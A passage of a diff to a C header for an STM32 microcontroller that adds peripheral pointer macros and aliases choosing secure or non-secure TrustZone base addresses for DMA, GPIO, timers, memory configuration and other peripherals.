((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA1_Channel8_S ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_S) +#define GPDMA1_Channel9_S ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_S) +#define GPDMA1_Channel10_S ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_S) +#define GPDMA1_Channel11_S ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_S) +#define GPDMA1_Channel12_S ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_S) +#define GPDMA1_Channel13_S ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_S) +#define GPDMA1_Channel14_S ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_S) +#define GPDMA1_Channel15_S ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define TSC_S ((TSC_TypeDef *) TSC_BASE_S) +#define MDF1_S ((MDF_TypeDef *) MDF1_BASE_S) +#define MDF1_Filter0_S ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_S) +#define MDF1_Filter1_S ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_S) +#define MDF1_Filter2_S ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_S) +#define MDF1_Filter3_S ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_S) +#define MDF1_Filter4_S ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_S) +#define MDF1_Filter5_S ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_SRAM4_S ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define DMA2D_S ((DMA2D_TypeDef *) DMA2D_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define USB_OTG_FS_S ((USB_OTG_GlobalTypeDef *) USB_OTG_FS_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define SDMMC2_S ((SDMMC_TypeDef *) SDMMC2_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define DLYB_SDMMC2_S ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) +#define DLYB_OCTOSPI2_S ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_S) +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define OCTOSPIM_S ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_S) +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define OCTOSPI2_S ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_S ((GPIO_TypeDef *) LPGPIO1_BASE_S) +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define ADC4_S ((ADC_TypeDef *) ADC4_BASE_S) +#define ADC4_COMMON_S ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) +#define GTZC_TZSC2_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_S) +#define GTZC_TZIC2_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_S) +#define GTZC_MPCBB4_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_S) +#define ADF1_S ((MDF_TypeDef *) ADF1_BASE_S) +#define ADF1_Filter0_S ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_S) +#define LPDMA1_S ((DMA_TypeDef *) LPDMA1_BASE_S) +#define LPDMA1_Channel0_S ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_S) +#define LPDMA1_Channel1_S ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_S) +#define LPDMA1_Channel2_S ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_S) +#define LPDMA1_Channel3_S ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_S) + +/*!< DBGMCU peripheral */ +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define SRAM4_BASE SRAM4_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA1_Channel8 GPDMA1_Channel8_S +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_S + +#define GPDMA1_Channel9 GPDMA1_Channel9_S +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_S + +#define GPDMA1_Channel10 GPDMA1_Channel10_S +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_S + +#define GPDMA1_Channel11 GPDMA1_Channel11_S +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_S + +#define GPDMA1_Channel12 GPDMA1_Channel12_S +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_S + +#define GPDMA1_Channel13 GPDMA1_Channel13_S +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_S + +#define GPDMA1_Channel14 GPDMA1_Channel14_S +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_S + +#define GPDMA1_Channel15 GPDMA1_Channel15_S +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_S + +#define LPDMA1 LPDMA1_S +#define LPDMA1_BASE LPDMA1_BASE_S + +#define LPDMA1_Channel0 LPDMA1_Channel0_S +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_S + +#define LPDMA1_Channel1 LPDMA1_Channel1_S +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_S + +#define LPDMA1_Channel2 LPDMA1_Channel2_S +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_S + +#define LPDMA1_Channel3 LPDMA1_Channel3_S +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define LPGPIO1 LPGPIO1_S +#define LPGPIO1_BASE LPGPIO1_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_S +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZSC2 GTZC_TZSC2_S +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_TZIC2 GTZC_TZIC2_S +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define GTZC_MPCBB4 GTZC_MPCBB4_S +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define DAC DAC_S +#define DAC_BASE DAC_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define OPAMP OPAMP_S +#define OPAMP_BASE OPAMP_BASE_S + +#define OPAMP1 OPAMP1_S +#define OPAMP1_BASE OPAMP1_BASE_S + +#define OPAMP2 OPAMP2_S +#define OPAMP2_BASE OPAMP2_BASE_S + +#define OPAMP12_COMMON OPAMP12_COMMON_S +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SYSCFG SYSCFG_S +#define SYSCFG_BASE SYSCFG_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define COMP12 COMP12_S +#define COMP12_BASE COMP12_BASE_S + +#define COMP1 COMP1_S +#define COMP1_BASE COMP1_BASE_S + +#define COMP2 COMP2_S +#define COMP2_BASE COMP2_BASE_S + +#define COMP12_COMMON COMP12_COMMON_S +#define COMP12_COMMON_BASE COMP1_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define TSC TSC_S +#define TSC_BASE TSC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + + +#define ADC4 ADC4_S +#define ADC4_BASE ADC4_BASE_S + +#define ADC4_COMMON ADC4_COMMON_S +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + +#define SDMMC2 SDMMC2_S +#define SDMMC2_BASE SDMMC2_BASE_S + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define OCTOSPI2 OCTOSPI2_S +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_S + +#define OCTOSPIM OCTOSPIM_S +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_SDMMC2 DLYB_SDMMC2_S +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_S +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_S + +#define DMA2D DMA2D_S +#define DMA2D_BASE DMA2D_BASE_S + +#define USB_OTG_FS USB_OTG_FS_S +#define USB_OTG_FS_BASE USB_OTG_FS_BASE_S + +#define MDF1 MDF1_S +#define MDF1_BASE MDF1_BASE_S + +#define MDF1_Filter0 MDF1_Filter0_S +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_S + +#define MDF1_Filter1 MDF1_Filter1_S +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_S + +#define MDF1_Filter2 MDF1_Filter2_S +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_S + +#define MDF1_Filter3 MDF1_Filter3_S +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_S + +#define MDF1_Filter4 MDF1_Filter4_S +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_S + +#define MDF1_Filter5 MDF1_Filter5_S +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_S + +#define ADF1 ADF1_S +#define ADF1_BASE ADF1_BASE_S + +#define ADF1_Filter0 ADF1_Filter0_S +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_S + +#else +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define SRAM3_BASE SRAM3_BASE_NS +#define SRAM4_BASE SRAM4_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DMA2D DMA2D_NS +#define DMA2D_BASE DMA2D_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA1_Channel8 GPDMA1_Channel8_NS +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_NS + +#define GPDMA1_Channel9 GPDMA1_Channel9_NS +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_NS + +#define GPDMA1_Channel10 GPDMA1_Channel10_NS +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_NS + +#define GPDMA1_Channel11 GPDMA1_Channel11_NS +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_NS + +#define GPDMA1_Channel12 GPDMA1_Channel12_NS +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_NS + +#define GPDMA1_Channel13 GPDMA1_Channel13_NS +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_NS + +#define GPDMA1_Channel14 GPDMA1_Channel14_NS +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_NS + +#define GPDMA1_Channel15 GPDMA1_Channel15_NS +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_NS + +#define LPDMA1 LPDMA1_NS +#define LPDMA1_BASE LPDMA1_BASE_NS + +#define LPDMA1_Channel0 LPDMA1_Channel0_NS +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_NS + +#define LPDMA1_Channel1 LPDMA1_Channel1_NS +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_NS + +#define LPDMA1_Channel2 LPDMA1_Channel2_NS +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_NS + +#define LPDMA1_Channel3 LPDMA1_Channel3_NS +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS +#define LPGPIO1 LPGPIO1_NS +#define LPGPIO1_BASE LPGPIO1_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_NS +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZSC2 GTZC_TZSC2_NS +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_TZIC2 GTZC_TZIC2_NS +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define GTZC_MPCBB4 GTZC_MPCBB4_NS +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE 